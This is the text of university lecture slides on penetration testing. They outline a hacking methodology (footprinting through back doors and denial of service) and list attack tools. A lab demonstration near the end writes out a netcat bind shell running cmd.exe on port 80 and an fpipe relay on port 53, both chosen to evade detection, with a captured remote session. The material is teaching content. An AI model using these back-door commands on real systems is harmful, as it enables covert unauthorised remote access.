Vous êtes sur la page 1sur 26

Penetrate Testing

C. Edward Chow

cs591

chow

Outline of The Talk


Definition, Concepts on Penetration Testing/Hacking Anatomy of a Hack Framework for penetration studies Skills and Requirements of a Penetration Tester SAN list of Security Holes Internet Penetration Dial up Penetration Internal Penetration References: CORE IMPACT - Penetration Testing: Assessing Your Overall Security Before Attackers Do Pages 165,277 Security in Computing. Hack I.T, Security Through Penetration Testing, by T.J. Klevinksy, Scott Laliberte, Ajay Gupta. http://www.hackingexposed.com/win2k/links.html
2 chow

cs591

Definition

Vulnerability (Security Flaw): specific failure of the system to guard against unauthorized access or actions. It can be procedures, technology (SW or HW), or management. Using the failure of the system to violate the site security policy is called exploiting the vulnerability Penetration Study is a test for evaluating the strengths of all security controls on the computer system. It intends to find all possible security holes and provides suggestions for fixing them. Penetration Testing is an authorized attempt to violate specific constraints stated in the form of a security or integrity policy. Penetration Testing is a testing technique for discovering, understanding, and documenting all the security holes that can be found in a system. It is not a proof techniques. It can never prove the absence of security flaws. It can only prove their presence. Example goals of penetration studies are gaining of read or write access to specific objects, files, or accounts; gaining of specific privileges; and disruption or denial of the availability of objects. What is the difference between penetration testing and hacking/intrusion?
3 chow

cs591

More Thorough Penetration Study

A more thorough penetration study is to find the proper interpretation of vulnerabilities found, draw conclusion on the care taken in the design and implementation. A simple list of vulnerabilities , although helpful in closing those specific holes, contribute far less to the security of a system. In practice, constrains (resource, money, time) affect the penetration study

cs591

chow

Hacking Methodology (Steps)

Footprinting Scanning Enumeration Gaining Access Escalating Privilege

whois, nslookup

Nmap, fping
dumpACL, showmount legion, rpcinfo

An excellent description inside of the back cover page of Hacking Exposed text by McClure et al.

Tcpdump, Lophtcrack NAT


Johntheripper, getadmin Rhosts, userdata Config files, registry zap, rootkits Cron,at, startup folder netcat, keystroke logger remote desktop Synk4, ping of death tfn/stacheldraht

Pilferting
Covering Tracks Creating Back Doors Denial of Service

cs591

chow

Footprinting

Information gathering. Sam Spade is window-based network query tool. Find out target IP address/phone number range Why check phone numbers? Namespace acquisition. Network Topology (visualRoute). It is essential to a surgical attack. The key here is not to miss any details. Note that for penetration tester, this step is to avoiding testing others instead of your client and to include all systems to be tested (sometime the organization will not tell you what their systems consist of). Defense: deploy NIDS (snort), RotoRouter

Techniques Open Source search Tools Google, search engine, Edgar

Find domain name, DNS zone admin, IP addresses transfer name servers Whois (Network solution; arin)
6

Nslookup (ls d) dig Sam Spade


chow

cs591

Scanning

Bulk Target assessment Which machine is up and what ports (services) are open Focus on most promising avenues of entry. To avoid being detect, these tools can reduce frequency of packet sending and randomize the ports or IP addresses to be scanned in the sequence. Note that some machine does not respond to ping but responds to requests to ports that actually open. Ardor is an example. Techniques Ping sweep TCP/UDP port scan Nmap Superscan fscan
7

OS detection

Tools

Fping, icmpenum WS_Ping ProPack nmap

Nmap queso siphon


chow

cs591

Enumeration

Identify valid user accounts or poorly protected resource shares. Most intrusive probing than scanning step. Techniques list user accounts list file shares identify applications

Tools

Null sessions DumpACL Sid2usre onSiteAdmin

Showmount NAT legion

Banner grabing with telnet or netcat, rpcinfo

cs591

chow

Gaining Access

Based on the information gathered so far, make an informed attempted to access the target.

Techniq ues

Password File share eavesdropping brute forcing

Password File grab

Buffer overflow

Tools

Tcpdump/ssldu NAT mp legion L0phtcrack readsmb


9

Tftp Ttdb, bind Pwddump2(NT) IIS .HTR/ISM. DLL


chow

cs591

Escalating Privilege

If only user-level access was obtained in the last step, seek to gain complete control of the system. Techniques Password cracking Known Exploits

Tools

John the ripper L0phtcrack

Lc_messages, Getadmin, sechole

cs591

10

chow

Pilfering

Webster's Revised Unabridged Dictionary (1913) Pilfer \Pil"fer\, v. i. [imp. & p. p. Pilfered; p. pr. & vb. n. Pilfering.] [OF. pelfrer. See Pelf.] To steal in small quantities, or articles of small value; to practice petty theft. Gather info on identify mechanisms to allow access of trusted systems.

Techniques

Evaluate Trusts

Search for cleartext passwords

Tools

rhosts LSA secrets

User data, Configuration files Registry

cs591

11

chow

Covering Tracks

Once total ownership of the target is secured, hiding this fact from system administrators become paramount, less they quickly end the romp.

Techniques

Clear Logs

Hide tools

Tools

Zap, Event Log GUI Rootkits file streaming

cs591

12

chow

Creating Back Doors

Trap doors will be laid in various parts of the system to ensure that privilege access is easily regained whenever the intruder decides. Schedule batch jobs Cron, AT Infect startup files rc, startup folder, registry keys Replace appls with Trojans Login, fpnwcint.dll

Techniques Create rogue user accounts Tools Members of wheel, admin

Techniques Plant remote Install monitoring control services mechanisms Tools Netcat, remote.exe VNC, B02K remote desktop Keystroke loggers, add acct. to secadmin mail aliases

cs591

13

chow

Denial of Services

If atacker is unsuccessful in gaining access, they may use readily available exploit code to disable a target as a last resort. ICMP techniques Ping to death smurf Out of bounds TCP options (OOB) Keystroke loggers, add acct. to secadmin mail aliases
14

Techniques Syn flood Tools synk4

Identical src/dst SYN requests Land Latierra DDoS

Techniques Overlapping fragment/offset bugs Tools Netcat, remote.exe VNC, B02K remote desktop

Trinoo TFN stacheldraht


chow

cs591

Nessus: Integrated Security Scanning Tool

Originally designed by Renaud Deraison Available at www.nessus.org Main scanning engine running on Unix server with client GUI running on Unix or Windows. Pretty good control and reporting. Include a script language for plug-in (detecting additional attacks). http://www.nessus.org/pres/bh2001/index.html

cs591

15

chow

cs591

16

chow

cs591

17

chow

cs591

18

chow

cs591

19

chow

cs591

20

chow

cs591

21

chow

Setting up Backdoor Connection

Once obtain the admin privilege, you install tools that allow you to run command remotely (e.g. netcat) or use the machine as a stepping stone for relaying or redirecting the msg (fpipe) Port redirection accepts packet from one port and send it over another port. It can be used to avoid packet filter firewall. We will use netcat and fpipe to illustrate the concept. Netcat is available at http://www.atstake.com/research/tools/network_utilities/ Fpipe is available at http://www.foundstone.com
22 chow

cs591

Setup Netcat
C:\work\cucs\cs522\project>c:\work\software\security\nc\nc -v -L -e cmd.exe -p 80 -s 128.198.177.63 Hacker runs the nc command on the victim machine, which listens to the command sent in from port 80, use cmd.exe to run the command and redirect the console output as http response back. listening on [128.198.177.63] 80 ... connect to [128.198.177.63] from VIVIAN.eas.uccs.edu listening on [128.198.177.63] 80 ... connect to [128.198.177.63] from VIVIAN.eas.uccs.edu Here we bind in front of port 80. You can also use port 139. The idea is used known port to avoid detection. -L is used to repeat previous command after connection is terminated. The nc command will receive command from packet to port 80, and chow 23 run it with cmd.exe and send back execution result. cs591

Setup FPIPE

C:\work\software\security\fpipe>fpipe -l 53 -s 53 -r 80 128.198.177.63 FPipe v2.1 - TCP/UDP port redirector. This is run the infected machine which serves as relay. Use port 53 for listen to Internet connection, relay any msg from port 53 to machine with 128.198.177.63 and port 80. Copyright 2000 (c) by Foundstone, Inc. http://www.foundstone.com Pipe connected: In: 128.198.162.60:58797 --> 128.198.168.63:53 Out: 128.198.168.63:53 --> 128.198.177.63:80 Pipe connected: In: 128.198.162.60:58801 --> 128.198.168.63:53 Out: 128.198.168.63:53 --> 128.198.177.63:80

Here the fpipe program listens to packet incoming from blanca to port 53, relay it over to 128.198.177.63 using port 53 (DNS) to avoid chow 24 cs591 detection.

Telnet to the relay host


C:\work\software\security\nc>[cs691@blanca cs691]$ telnet 128.198.168.63 53 Trying 128.198.168.63... Connected to vivian (128.198.168.63). Escape character is '^]'. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\work\cucs\cs522\project>dir dir Volume in drive C is S3A1203D501 Volume Serial Number is 503B-9F00 Directory of C:\work\cucs\cs522\project

04/29/2003 12:56 PM 04/29/2003 12:56 PM 04/29/2003 12:50 PM

<DIR> . <DIR> .. 371,208 erniestInfocom2000.ps

Note that it is the console output of 128.198.177.63 machine being shown here.
25 chow

cs591

Layering of Tests
External attacker with no knowledge of the system. 2. External attacker with access to the system. 3. Internal attacker with access to the system.
1.

cs591

26

chow

Vous aimerez peut-être aussi